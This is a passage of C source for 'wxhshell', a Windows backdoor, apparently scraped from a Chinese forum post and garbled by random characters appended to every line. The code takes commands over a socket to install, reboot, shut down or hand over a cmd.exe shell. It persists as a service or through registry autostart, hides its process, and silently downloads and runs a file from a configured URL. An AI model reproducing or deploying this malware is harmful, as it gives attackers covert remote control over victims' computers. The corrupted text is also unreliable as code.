  i6`8yw  
  // 帮助  _&(ij(H  
  case '?': { JEHV \ =  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1v2wP2]|;  
    break; sgX}`JH?z  
  } w,}}mC)\*  
  // 安装 p+8]H %  
  case 'i': { 7vj[ AOq3l  
    if(Install()) f6|3| +  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iU%Gvf^?'5  
    else HENCQ_Wra  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sM5 w~R>Y  
    break; ^G2vA8%  
    } 3l L:vD5(  
  // 卸载 !%s7I ^f*  
  case 'r': { "apv)xdW  
    if(Uninstall()) KG3*~G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =JVRm 2#*  
    else =dA T^e##  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (ZEVbAY?i  
    break; |%RFXkHS  
    } VsZ_So;  
  // 显示 wxhshell 所在路径 !@YYi[Gk  
  case 'p': { iT5H<uS  
    char svExeFile[MAX_PATH]; iL,3g[g  
    strcpy(svExeFile,"\n\r"); A\# ? rK  
      strcat(svExeFile,ExeFile); KFfwZkj{  
        send(wsh,svExeFile,strlen(svExeFile),0); wj'iU&aca  
    break; 0x`:jz`  
    } &y(aByI y  
  // 重启 "5y^s!/  
  case 'b': { FBY~Z$o0.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l&|{uk  
    if(Boot(REBOOT)) !k s<VJh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =~0XdS/1  
    else { Y 4714  
    closesocket(wsh); -+PPz?0  
    ExitThread(0); c''O+,L1+  
    } rSJ}qRXwU  
    break; =VY4y]V  
    } {VNeh  
  // 关机 D$mrnm4d  
  case 'd': { l:|Fs=\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H~~(v52wD  
    if(Boot(SHUTDOWN)) yv:NH|,/y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @<6-uk3S  
    else { X_YD[  
    closesocket(wsh); V3+%KkN  
    ExitThread(0); '~2v/[<`}  
    } Q` s(T  
    break; * ;M?R?+  
    } )xK!i.  
  // 获取shell b,`\"'1  
  case 's': { nWl0R=  
    CmdShell(wsh); $U0(%lIU  
    closesocket(wsh); MnS"M[y3  
    ExitThread(0); (,TO|  
    break; f7W=x6Z4  
  } C`#N Q*O  
  // 退出 .^NV e40O  
  case 'x': { (\I =v".  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }I10hy~W  
    CloseIt(wsh); qB:`tHy  
    break; 2?ednMoE  
    } >lj3MNSH  
  // 离开 $_ i41f[  
  case 'q': { T*ic?!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c"$_V[m  
    closesocket(wsh); -)Vj08aP  
    WSACleanup(); s-ou;S3s  
    exit(1); A^Zs?<C-  
    break; &p%ctg  
        } K@,VR3y /  
  } V& nN/CF  
  } .=FJ5?:4i%  
#Nd+X@j  
  // 提示信息 2X]\:<[4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jl@8pO$  
} <>:kAT,sP  
  } M@K[i*e  
5a~1RL  
  return; *o#`lH  
} \wCL)t.cX  
\*N1i`99  
// shell模块句柄 =e+go ]87x  
int CmdShell(SOCKET sock) B dKwWgi+a  
{ `Qhh{  
STARTUPINFO si; k$2Y)  
ZeroMemory(&si,sizeof(si)); 6GN'rVr!Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;uDFd04w [  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +W1rm$Q  
PROCESS_INFORMATION ProcessInfo; c9[5)  
char cmdline[]="cmd"; o EN_,cUp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q ^gEA5  
  return 0; H:_`]X"  
} O(d'8`8  
L;  ~=(  
// 自身启动模式 pi{ahuI#_o  
int StartFromService(void) + ThKqC_  
{ -5[GX3h0  
typedef struct x9e 9$ww}  
{ N#:"X;  
  DWORD ExitStatus; O?!"15  
  DWORD PebBaseAddress; 0>`69&;g|  
  DWORD AffinityMask; /$=^0v +  
  DWORD BasePriority; fm* Hk57  
  ULONG UniqueProcessId; 1}pR')YL[  
  ULONG InheritedFromUniqueProcessId; |(<L!6  
}   PROCESS_BASIC_INFORMATION; "mf;k^sqS  
cPbz7  
PROCNTQSIP NtQueryInformationProcess; O2e "TH3  
1 W u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?2TH("hV$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hA8 zXk/'8  
!iw 'tHhR  
  HANDLE             hProcess; Q  [{vU  
  PROCESS_BASIC_INFORMATION pbi; "Tv7*3>  
/HRaX!|E#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qAS^5|(b[  
  if(NULL == hInst ) return 0; J (h>  
[XXN0+ /  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I,eyL$x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .IXwa,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )VT/kIq-U  
<B`V  
  if (!NtQueryInformationProcess) return 0; p2G8 Qls  
o__q)"^~-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6{'6_4;Fv(  
  if(!hProcess) return 0; eXK`%'  
}U9jsm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C)j)j&  
&iZYBa  
  CloseHandle(hProcess); 9f\8oJQ  
kP$g l|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l'QR2r7&.  
if(hProcess==NULL) return 0; __j8jEV  
i7V~LO:gq  
HMODULE hMod; BvF_9  
char procName[255]; {O) &5  
unsigned long cbNeeded; M>@R=f  
fP58$pwu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l #Q`f.  
l{9h8]^  
  CloseHandle(hProcess); @'@6vC  
)\vHIXnfJ1  
if(strstr(procName,"services")) return 1; // 以服务启动 N_D+d4@  
RWFf-VA?  
  return 0; // 注册表启动 <q2nZI^  
} _eV n#!|  
G4' U;  
// 主模块 Y)}%SP>,  
int StartWxhshell(LPSTR lpCmdLine) on?/tHys  
{ `aL|qyrq#  
  SOCKET wsl; 1 ],, Ar5  
BOOL val=TRUE; aa8Qs lm  
  int port=0; ~qxXou,J  
  struct sockaddr_in door; mndl~/  
dM{~Ubb  
  if(wscfg.ws_autoins) Install(); $3[\:+  
A(OfG&!  
port=atoi(lpCmdLine); ^G&D4uZ  
8? Wxd65)  
if(port<=0) port=wscfg.ws_port; Y>Hl0$:=  
FJ8@b  
  WSADATA data; o MkY#<Q}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %@n8 ?l4  
 x9"4vp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zK4 8vo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bDBO+qA  
  door.sin_family = AF_INET; 7G(f1Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qlITQKGG  
  door.sin_port = htons(port); X|E+K  
kN |5 J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5}bZs` C  
closesocket(wsl); nVn|$ "r  
return 1; =yX&p:-&  
} \UqS -j|  
tQ/ #t<4D  
  if(listen(wsl,2) == INVALID_SOCKET) { m+2`"1IE[  
closesocket(wsl); $>"e\L4Kp  
return 1; L'XdX\5  
} |F@xwfgb  
  Wxhshell(wsl); x X/s1(P  
  WSACleanup(); IAF;mv}'  
Secq^#]8  
return 0; M'zS7=F!:  
5 k%9>U%$  
} S=H_9io  
=lC;^&D-0/  
// 以NT服务方式启动 N&^xq_9&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h@;)dLo0z  
{ 1i/::4=  
DWORD   status = 0; nt0\q'&  
  DWORD   specificError = 0xfffffff; )R8%'X;U  
I+"?,Ej$K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $.Q>M]xH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R G0S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Afy .3T @)  
  serviceStatus.dwWin32ExitCode     = 0; n5+S"  
  serviceStatus.dwServiceSpecificExitCode = 0; (y~laW!  
  serviceStatus.dwCheckPoint       = 0; MATgJ`lsy  
  serviceStatus.dwWaitHint       = 0; !3I(4?G,  
daB l%a=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8HFXxpt[G  
  if (hServiceStatusHandle==0) return; -*%!q$:  
6UW:l|}4#2  
status = GetLastError(); 9Ue7 ~"=  
  if (status!=NO_ERROR) uR:=V9O  
{ %8bzs?QI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +an^e'  
    serviceStatus.dwCheckPoint       = 0; ^{*f3m/  
    serviceStatus.dwWaitHint       = 0; 2Za ,4'  
    serviceStatus.dwWin32ExitCode     = status; w;c#drY7S  
    serviceStatus.dwServiceSpecificExitCode = specificError; )nNCB=YF!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ZC}9=_g  
    return; B3 dA%\'  
  } |ck ZyDA  
~llMrl7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uKbHFF  
  serviceStatus.dwCheckPoint       = 0; slge+xq\J  
  serviceStatus.dwWaitHint       = 0; NSS4v tA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xaWGa1V'z  
} ,rZn`9  
m0|Ae@g~3  
// 处理NT服务事件,比如:启动、停止 g=xv+e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,2,SG/BB  
{ qE0FgqRB  
switch(fdwControl) #d Z/UM(u  
{ E7gHi$  
case SERVICE_CONTROL_STOP: w|}W(=#  
  serviceStatus.dwWin32ExitCode = 0; ik2- OM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]-um\A4f  
  serviceStatus.dwCheckPoint   = 0; r(: 8!=~K  
  serviceStatus.dwWaitHint     = 0; S<eZd./p6  
  { OL=ET)Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L\b]k,Ksf  
  } MSZ!W(7,<  
  return; 6z#lN>Y-`  
case SERVICE_CONTROL_PAUSE: d7"U WY^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I9}+(6  
  break; / R_ u\?k(  
case SERVICE_CONTROL_CONTINUE: aKv[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nush`?]J"_  
  break; $D QD$  
case SERVICE_CONTROL_INTERROGATE: 7qP4B9S  
  break; -3.UE^W2  
}; ;/@?6T"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]alh_U  
} [_WI8~g Y  
g4N%PV8  
// 标准应用程序主函数 WP0 #i~3*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) la'e[t7  
{ Z#-k.|}  
`n 3FT=  
// 获取操作系统版本 \F 3C=M@:  
OsIsNt=GetOsVer(); M#OH Y *  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Q?~Q0{)es  
dgS4w@)@V;  
  // 从命令行安装 ^ED"rMI  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bk@)b`WR  
!|B3i_n  
  // 下载执行文件 u3]Uxy  
if(wscfg.ws_downexe) { [{`)j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .Y!;xB/  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ZQ"({<w<g  
} F9MR5O"  
Kb-W tFx  
if(!OsIsNt) { r4E`'o[  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^vpIZjN  
HideProc(); n`%2Mj c  
StartWxhshell(lpCmdLine); su&t7rJ  
} #G3` p!"  
else kg<P t >  
  if(StartFromService()) |~SE"  
  // 以服务方式启动 I>{!U$  
  StartServiceCtrlDispatcher(DispatchTable); {3hqp*xl  
else 8N% z9b  
  // 普通方式启动 7p^@;@V  
  StartWxhshell(lpCmdLine); ~<n(y-P^  
>;)2NrJV  
return 0; h$70H^r  
}
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只看该作者 1 发表于: 2006-10-10
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